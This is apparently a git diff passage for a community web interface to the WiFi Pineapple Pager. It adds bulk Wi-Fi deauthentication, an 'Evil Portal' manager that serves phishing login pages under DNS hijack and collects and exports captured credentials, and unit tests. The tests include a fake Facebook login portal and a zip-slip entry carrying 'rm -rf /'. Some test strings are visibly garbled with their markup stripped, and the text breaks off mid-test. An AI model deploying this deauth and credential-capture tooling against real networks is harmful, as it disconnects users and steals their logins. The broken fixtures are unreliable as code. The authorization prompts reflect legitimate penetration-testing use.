-1431,8 +1486,10 @@ function deauthPanel(ssidRef) { })()))); body.appendChild(apSel); body.appendChild(clTable); - body.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px', - text: 'Only deauth targets you are authorized to test.' })); + body.appendChild(h('div', { class: 'row', style: 'margin-top:6px' }, + h('div', {}, deauthAllBtn), + h('div', { class: 'muted', style: 'font-size:12px;align-self:center', + text: 'Only deauth targets you are authorized to test.' }))); if (ssidRef) { ssidRef.tick = () => { const liveSsid = ssidRef.current && ssidRef.current.trim(); @@ -2113,6 +2170,26 @@ views.recon = (root) => { .then(() => App.toast('Examining channel ' + ap.channel + ' — check the Pager screen')), 'Examining…'); }); actions.appendChild(exC); + const focusClients = (ap.clients || []).filter((client) => client && client.mac); + if (focusClients.length && ap.bssid) { + const deauthAll = h('button', { class: 'btn danger recon-focus-action-button', + text: 'Deauth All Clients (' + focusClients.length + ')' }); + deauthAll.addEventListener('click', () => { + const ssidLabel = ap.ssid || 'hidden network'; + if (!window.confirm('Deauthenticate ' + focusClients.length + ' client(s) of "' + + ssidLabel + '"?\n\nConfirm this target is IN SCOPE for your engagement.')) return; + runAction(deauthAll, () => PagerAPI.post('/api/attacks/deauth/bulk', { + targets: focusClients.map((c) => ({ + bssid: ap.bssid, client: c.mac, channel: ap.channel == null ? null : ap.channel + })) + }).then((r) => { + const d = r.data || {}; + App.toast('Deauth frames sent to ' + (d.sent != null ? d.sent : '?') + + '/' + ((d.results || []).length) + ' clients'); + }), 'Sending…'); + }); + actions.appendChild(deauthAll); + } const details = h('div', { class: 'recon-focus-body' }); focusSidebar.appendChild(details); @@ -4045,3 +4122,175 @@ views.settings_help = (root) => { license.appendChild(h('p', { class: 'muted', text: 'This community WebUI runs alongside the licensed WiFi Pineapple Pager firmware. Third-party component notices remain available in their distributed source files.' })); return { destroy: () => {} }; }; + +// --------------------------------------------------------------------------- +// Evil Portal — Hak5 EvilPortalNano-compatible captive portal manager. +// --------------------------------------------------------------------------- + +views.evilportal = (root) => { + root.appendChild(h('h1', { class: 'page-title', text: 'Evil Portal' })); + const box = h('div', { style: 'display:flex;flex-direction:column;gap:16px' }); + root.appendChild(box); + + function portalCard(title) { + const card = h('div', { class: 'pineap-title-card' }); + card.appendChild(h('div', { class: 'pineap-card-title' }, title)); + box.appendChild(card); + return card; + } + + // ---- Active portal status ---- + const statusCard = portalCard('Active Portal'); + const statusBody = h('div', { style: 'font-size:13px;line-height:1.9' }); + statusCard.appendChild(statusBody); + let activeName = null; + + // ---- Templates ---- + const tplCard = portalCard('Portal Templates'); + const tplBody = h('div', { style: 'font-size:13px' }); + tplCard.appendChild(tplBody); + + // ---- Import ---- + const importCard = portalCard('Import Portal'); + const importBody = h('div', { style: 'font-size:13px' }); + importCard.appendChild(importBody); + const nameIn = h('input', { placeholder: 'Portal name (optional override)' }); + const fileIn = h('input', { type: 'file', accept: '.zip,application/zip' }); + importBody.appendChild(h('div', { class: 'row' }, nameIn, + h('div', {}, fileIn))); + importBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px', + text: 'Upload a zip of a Hak5 Evil Portal (index.php + assets). Compatible with kleo/evilportals and other EvilPortalNano portals.' })); + + function refresh() { + return PagerAPI.get('/api/portals').then((r) => { + const d = r.data || {}; + activeName = d.active || null; + renderStatus(); + renderTemplates(d.portals || []); + }).catch(() => App.toast('Failed to load portals', 'error')); + } + + function renderStatus() { + statusBody.innerHTML = ''; + const on = !!activeName; + statusBody.appendChild(h('div', { class: 'row' }, + h('div', { style: 'min-width:130px', text: 'Status' }), + badge(on))); + statusBody.appendChild(h('div', { class: 'row' }, + h('div', { style: 'min-width:130px', text: 'Portal' }), + h('span', { text: on ? activeName : '—' }))); + if (on) { + statusBody.appendChild(h('div', { class: 'row' }, + h('div', { style: 'min-width:130px', text: '' }), + h('span', { class: 'muted', style: 'font-size:12px', + text: 'Serving on http:/// with DNS hijack (all hostnames resolve to the Pager).' }))); + statusBody.appendChild(h('div', { class: 'row' }, + h('div', { style: 'min-width:130px', text: '' }), + h('div', {}, btn('Stop Portal', () => { + runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(activeName) + '/deactivate', {}) + .then(refresh), 'Stopping…'); + }, 'danger')))); + } + } + + function renderTemplates(portals) { + tplBody.innerHTML = ''; + if (!portals.length) { + tplBody.appendChild(h('div', { class: 'empty', + text: 'No portal templates imported. Import a zip below to get started.' })); + return; + } + tplBody.appendChild(table( + [{ key: 'name', label: 'Name' }, { key: 'size', label: 'Size' }, + { key: 'captures', label: 'Captures' }, { key: '_actions', label: '' }], + portals.map((p) => ({ + name: p.name, size: fmtBytes(p.bytes), captures: String(p.captures || 0), + _actions: (function () { + const wrapRow = h('div', { style: 'display:flex;gap:6px' }); + if (p.name === activeName) { + wrapRow.appendChild(btn('Stop', () => { + runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(p.name) + '/deactivate', {}) + .then(refresh), 'Stopping…'); + }, 'danger')); + } else { + wrapRow.appendChild(btn('Activate', () => { + runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(p.name) + '/activate', {}) + .then(() => App.toast('Portal active — DNS hijack on')) + .then(refresh), 'Activating…'); + }, 'danger')); + } + wrapRow.appendChild(btn('Download', () => { + window.open('/api/portals/' + encodeURIComponent(p.name) + '/download', '_blank'); + }, 'ghost')); + wrapRow.appendChild(btn('Delete', () => { + if (!window.confirm('Delete portal "' + p.name + '"?')) return; + runAction(null, () => PagerAPI.del('/api/portals/' + encodeURIComponent(p.name)) + .then(refresh), 'Deleting…'); + }, 'danger')); + return wrapRow; + })() + })))); + } + + fileIn.addEventListener('change', () => { + const f = fileIn.files && fileIn.files[0]; + fileIn.value = ''; + if (!f) return; + if (f.size > 10 * 1024 * 1024) { App.toast('Zip too large (max 10 MB)', 'error'); return; } + const fr = new FileReader(); + fr.onload = () => { + const b64 = String(fr.result).split(',')[1] || ''; + runAction(null, () => PagerAPI.post('/api/portals/import', { + name: nameIn.value.trim() || undefined, data: b64 + }).then((r) => { + App.toast('Imported portal "' + ((r.data || {}).name || '?') + '"'); + nameIn.value = ''; + return refresh(); + }), 'Importing…'); + }; + fr.readAsDataURL(f); + }); + + // ---- Captured credentials ---- + const capCard = portalCard('Captured Credentials'); + const capBody = h('div', { style: 'font-size:13px' }); + capCard.appendChild(capBody); + + function loadCaptures() { + return PagerAPI.get('/api/portals/captures?limit=200').then((r) => { + const d = r.data || {}; + const caps = d.captures || []; + capBody.innerHTML = ''; + capBody.appendChild(h('div', { class: 'row' }, + h('span', { text: caps.length ? (caps.length + ' capture(s)' + + (d.total > caps.length ? ' (of ' + d.total + ')' : '')) : 'No credentials captured yet.' }), + h('div', {}, + btn('Refresh', () => { loadCaptures(); }, 'ghost'), + caps.length ? btn('Clear All', () => { + if (!window.confirm('Delete ALL captured credentials?')) return; + runAction(null, () => PagerAPI.del('/api/portals/captures') + .then(loadCaptures), 'Clearing…'); + }, 'danger') : null, + caps.length ? h('a', { class: 'btn ghost', href: '#', onclick: (e) => { + e.preventDefault(); + downloadText('evil-portal-captures.json', JSON.stringify(caps, null, 2)); + }, text: 'Export JSON', style: 'text-decoration:none' }) : null))); + if (!caps.length) return; + capBody.appendChild(table( + [{ key: 'when', label: 'When' }, { key: 'portal', label: 'Portal' }, + { key: 'ident', label: 'Client' }, { key: 'creds', label: 'Fields' }], + caps.map((c) => ({ + when: c.time || fmtTime(c.ts), + portal: c.portal || '—', + ident: [c.mac, c.ip, c.hostname].filter(Boolean).join(' · ') || '—', + creds: Object.keys(c.fields || {}).map((k) => + k + ': ' + String(c.fields[k]).slice(0, 40)).join(' | ') || '(no fields)' + })))); + }).catch(() => {}); + } + + refresh(); + loadCaptures(); + const iv = setInterval(loadCaptures, 10000); + return { destroy: () => clearInterval(iv) }; +}; diff --git a/tests/test_attacks.py b/tests/test_attacks.py index de9a1d2..4ca2ec9 100644 --- a/tests/test_attacks.py +++ b/tests/test_attacks.py @@ -604,3 +604,133 @@ class AttacksCaptureTest(unittest.TestCase): if __name__ == '__main__': unittest.main() + + +class AttacksDeauthBulkTest(unittest.TestCase): + def setUp(self): + self.f = FakeUciDevice() + self.f._verify = True + server.device_run = self.f.device_run + server.daemon_sock_call = self.f.daemon_sock_call + server._uci_wifi_iface = self.f.uci_iface + + def test_bulk_deauth_all_targets(self): + targets = [ + {'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66', + 'channel': 6}, + {'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '22:22:33:44:55:66', + 'channel': 36}, + ] + status, payload = server.h_attacks_deauth_bulk(ctx({'targets': targets})) + self.assertEqual(status, 200) + self.assertEqual(payload['sent'], 2) + self.assertEqual(payload['failed'], 0) + calls = [r[0] for r in self.f.runs] + self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT', + 'AA:BB:CC:DD:EE:FF', '11:22:33:44:55:66', '6'], calls) + self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT', + 'AA:BB:CC:DD:EE:FF', '22:22:33:44:55:66', '36'], calls) + + def test_bulk_deauth_mixed_validity_reports_per_target(self): + targets = [ + {'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66', + 'channel': 6}, + {'bssid': 'nope', 'client': '22:22:33:44:55:66', 'channel': 6}, + ] + status, payload = server.h_attacks_deauth_bulk(ctx({'targets': targets})) + self.assertEqual(status, 200) + self.assertEqual(payload['sent'], 1) + self.assertEqual(payload['failed'], 1) + self.assertFalse(payload['results'][1]['ok']) + self.assertEqual(payload['results'][1]['error'], 'invalid AP MAC') + + def test_bulk_deauth_rejects_empty_and_oversized(self): + status, _ = server.h_attacks_deauth_bulk(ctx({'targets': []})) + self.assertEqual(status, 400) + status, _ = server.h_attacks_deauth_bulk(ctx({})) + self.assertEqual(status, 400) + big = [{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:%02d' % (i % 256), + 'channel': 6} for i in range(33)] + status, payload = server.h_attacks_deauth_bulk(ctx({'targets': big})) + self.assertEqual(status, 400) + + +class AttacksCaptureStatusBothIfacesTest(unittest.TestCase): + """The UI polls status without an iface; the handler must report the + monitor that actually has a live capture (regression: wlan1mon captures + flipped back to 'Not capturing' within one 5s poll).""" + + def setUp(self): + self.f = FakeUciDevice() + server.device_run = self.f.device_run + self.pidfiles = ['/tmp/mk8_capture_wlan0mon.pid', + '/tmp/mk8_capture_wlan1mon.pid'] + self.real_exists = os.path.exists + for p in self.pidfiles: + try: + os.unlink(p) + except OSError: + pass + + def tearDown(self): + os.path.exists = self.real_exists + for p in self.pidfiles: + try: + os.unlink(p) + except OSError: + pass + + def _live_pidfile(self, iface): + with open('/tmp/mk8_capture_%s.pid' % iface, 'w') as f: + f.write(str(os.getpid())) + + def test_status_without_iface_finds_running_wlan1mon(self): + self._live_pidfile('wlan1mon') + # Own pid always exists in /proc; pretend the wlan1mon netdev exists. + os.path.exists = lambda p: ( + not p.startswith('/sys/class/net') or p.endswith('wlan1mon')) + status, payload = server.h_attacks_capture(ctx({'action': 'status'})) + self.assertEqual(status, 200) + self.assertTrue(payload['running']) + self.assertEqual(payload['iface'], 'wlan1mon') + + def test_status_without_iface_defaults_when_none_running(self): + status, payload = server.h_attacks_capture(ctx({'action': 'status'})) + self.assertEqual(status, 200) + self.assertFalse(payload['running']) + self.assertIn(payload['iface'], ('wlan0mon', 'wlan1mon')) + + def test_start_mkdirs_pcap_dir_and_logs_stderr(self): + calls = [] + + def fake_run(args, timeout=20, input_data=None): + calls.append(list(args)) + if args[:2] == ['sh', '-c'] and 'echo $!' in args[2]: + with open('/tmp/mk8_capture_wlan1mon.pid', 'w') as f: + f.write(str(os.getpid())) + return (0, '', '') + + old_exists = os.path.exists + server.device_run = fake_run + # /proc does not exist on dev hosts; fake liveness for our own pid. + os.path.exists = lambda p: ( + p.startswith('/proc/') or + not p.startswith('/sys/class/net') or p.endswith('wlan1mon')) + try: + status, payload = server.h_attacks_capture(ctx({ + 'action': 'start', 'iface': 'wlan1mon'})) + finally: + server.device_run = self.f.device_run + os.path.exists = old_exists + self.assertEqual(status, 200) + self.assertTrue(payload['running']) + self.assertTrue(any(a[:3] == ['mkdir', '-p', '/root/loot/pcap'] + for a in calls), + 'capture dir must be created before starting tcpdump') + sh_cmd = next(a[2] for a in calls if a[:2] == ['sh', '-c']) + self.assertNotIn('/dev/null', sh_cmd) + self.assertIn('mk8_capture_wlan1mon.log', sh_cmd) + try: + os.unlink('/tmp/mk8_capture_wlan1mon.pid') + except OSError: + pass diff --git a/tests/test_portals.py b/tests/test_portals.py new file mode 100644 index 0000000..d3a1a31 --- /dev/null +++ b/tests/test_portals.py @@ -0,0 +1,253 @@ +import base64 +import io +import json +import os +import shutil +import sys +import tempfile +import unittest +import zipfile + +sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui')) +import server + + +def setUpModule(): + __import__('importlib').reload(server) + + +def ctx(body=None, args=(), query=None): + return type('C', (), {'body': body or {}, 'args': args, + 'query': query or {}})() + + +def make_zip(files, top_dir=None): + buf = io.BytesIO() + with zipfile.ZipFile(buf, 'w') as zf: + for name, data in files.items(): + zf.writestr((top_dir + '/' if top_dir else '') + name, data) + return buf.getvalue() + + +INDEX_PHP = (b"\n" + b'
' + b'' + b'' + b'' + b'' + b'
') +META_EP = json.dumps({'name': 'facebook-login', 'type': 'basic'}).encode() + + +class PortalsTest(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix='mk8-portals-test-') + self.old = (server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE, + server.PORTAL_CAPTURES_FILE) + server.PORTALS_DIR = self.tmp + server.PORTAL_ACTIVE_FILE = os.path.join(self.tmp, '.active') + server.PORTAL_CAPTURES_FILE = os.path.join(self.tmp, 'captures.jsonl') + server._portal_set_active(None) + self.hijacks = [] + server._portal_dns_hijack = ( + lambda enable: self.hijacks.append(enable)) + + def tearDown(self): + server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE, \ + server.PORTAL_CAPTURES_FILE = self.old + shutil.rmtree(self.tmp, ignore_errors=True) + + # ---- import ---- + + def test_import_flat_zip(self): + status, payload = server.h_portals_import(ctx({ + 'name': 'my-portal', + 'data': base64.b64encode(make_zip({ + 'index.php': INDEX_PHP, 'assets/style.css': b'body{}'})).decode()})) + self.assertEqual(status, 200) + self.assertEqual(payload['name'], 'my-portal') + root = os.path.join(self.tmp, 'my-portal') + self.assertTrue(os.path.isfile(os.path.join(root, 'index.php'))) + self.assertTrue(os.path.isfile(os.path.join(root, 'assets', 'style.css'))) + + def test_import_nested_top_dir_flattens_and_uses_ep_name(self): + status, payload = server.h_portals_import(ctx({ + 'data': base64.b64encode(make_zip({ + 'index.php': INDEX_PHP, 'MyPortal.php': b'', + 'facebook-login.ep': META_EP}, + top_dir='facebook-login')).decode()})) + self.assertEqual(status, 200) + self.assertEqual(payload['name'], 'facebook-login') + root = os.path.join(self.tmp, 'facebook-login') + self.assertTrue(os.path.isfile(os.path.join(root, 'index.php'))) + self.assertFalse(os.path.isdir(os.path.join(root, 'facebook-login'))) + + def test_import_rejects_missing_index_php(self): + status, payload = server.h_portals_import(ctx({ + 'name': 'bad', 'data': base64.b64encode(make_zip( + {'only.css': b'body{}'})).decode()})) + self.assertEqual(status, 400) + + def test_import_rejects_zip_slip(self): + evil = make_zip({'index.php': INDEX_PHP}) + # Hand-build a zip with an unsafe entry. + buf = io.BytesIO() + with zipfile.ZipFile(buf, 'w') as zf: + zf.writestr('index.php', INDEX_PHP) + zf.writestr('../../evil.sh', b'rm -rf /') + status, _ = server.h_portals_import(ctx({ + 'name': 'evil', 'data': base64.b64encode(buf.getvalue()).decode()})) + self.assertEqual(status, 400) + self.assertFalse(os.path.exists('/tmp/evil.sh')) + self.assertFalse(os.path.exists(evil and '/etc/passwd.mk8test')) + + def test_import_rejects_garbage(self): + status, _ = server.h_portals_import(ctx({ + 'name': 'junk', 'data': base64.b64encode(b'not a zip').decode()})) + self.assertEqual(status, 400) + status, _ = server.h_portals_import(ctx({})) + self.assertEqual(status, 400) + + def test_import_overwrites_same_name(self): + data = base64.b64encode(make_zip({ + 'index.php': INDEX_PHP})).decode() + s1, _ = server.h_portals_import(ctx({'name': 'dup', 'data': data})) + data2 = base64.b64encode(make_zip({ + 'index.php': INDEX_PHP, 'extra.txt': b'x'})).decode() + s2, _ = server.h_portals_import(ctx({'name': 'dup', 'data': data2})) + self.assertEqual((s1, s2), (200, 200)) + self.assertTrue(os.path.isfile( + os.path.join(self.tmp, 'dup', 'extra.txt'))) + + # ---- list / activate / delete ---- + + def _import_one(self, name='p1'): + status, payload = server.h_portals_import(ctx({ + 'name': name, 'data': base64.b64encode(make_zip( + {'index.php': INDEX_PHP})).decode()})) + assert status == 200, payload + return name + + def test_list_reports_portals_and_active(self): + self._import_one('alpha') + status, payload = server.h_portals_list(ctx()) + self.assertEqual(status, 200) + names = [p['name'] for p in payload['portals']] + self.assertIn('alpha', names) + self.assertIsNone(payload['active']) + + def test_activate_starts_dns_hijack_and_persists(self): + name = self._import_one() + status, payload = server.h_portals_activate(ctx(args=(name,))) + self.assertEqual(status, 200) + self.assertEqual(self.hijacks, [True]) + with open(server.PORTAL_ACTIVE_FILE) as f: + self.assertEqual(f.read().strip(), name) + status, payload = server.h_portals_list(ctx()) + self.assertEqual(payload['active'], name) + + def test_activate_unknown_portal_404(self): + status, _ = server.h_portals_activate(ctx(args=('ghost',))) + self.assertEqual(status, 404) + + def test_deactivate_stops_hijack(self): + name = self._import_one() + server.h_portals_activate(ctx(args=(name,))) + status, payload = server.h_portals_deactivate(ctx()) + self.assertEqual(status, 200) + self.assertEqual(self.hijacks, [True, False]) + _, payload = server.h_portals_list(ctx()) + self.assertIsNone(payload['active']) + + def test_delete_active_portal_deactivates_first(self): + name = self._import_one() + server.h_portals_activate(ctx(args=(name,))) + status, _ = server.h_portals_delete(ctx(args=(name,))) + self.assertEqual(status, 200) + self.assertFalse(os.path.exists(os.path.join(self.tmp, name))) + self.assertEqual(self.hijacks, [True, False]) + + def test_restore_on_boot_reapplies_hijack(self): + name = self._import_one() + with open(server.PORTAL_ACTIVE_FILE, 'w') as f: + f.write(name + '\n') + server._portal_restore_on_boot() + self.assertEqual(self.hijacks, [True]) + self.assertEqual(server._portal_active['name'], name) + + # ---- php shim ---- + + def test_php_shim_substitutes_client_values(self): + old_leases = server._dhcp_leases + server._dhcp_leases = lambda: {'10.0.0.5': ('AA:BB:CC:DD:EE:FF', 'victim-pc')} + try: + out = server._php_shim(INDEX_PHP.decode(), '10.0.0.5', + 'http://login.example.com/') + finally: + server._dhcp_leases = old_leases + self.assertNotIn('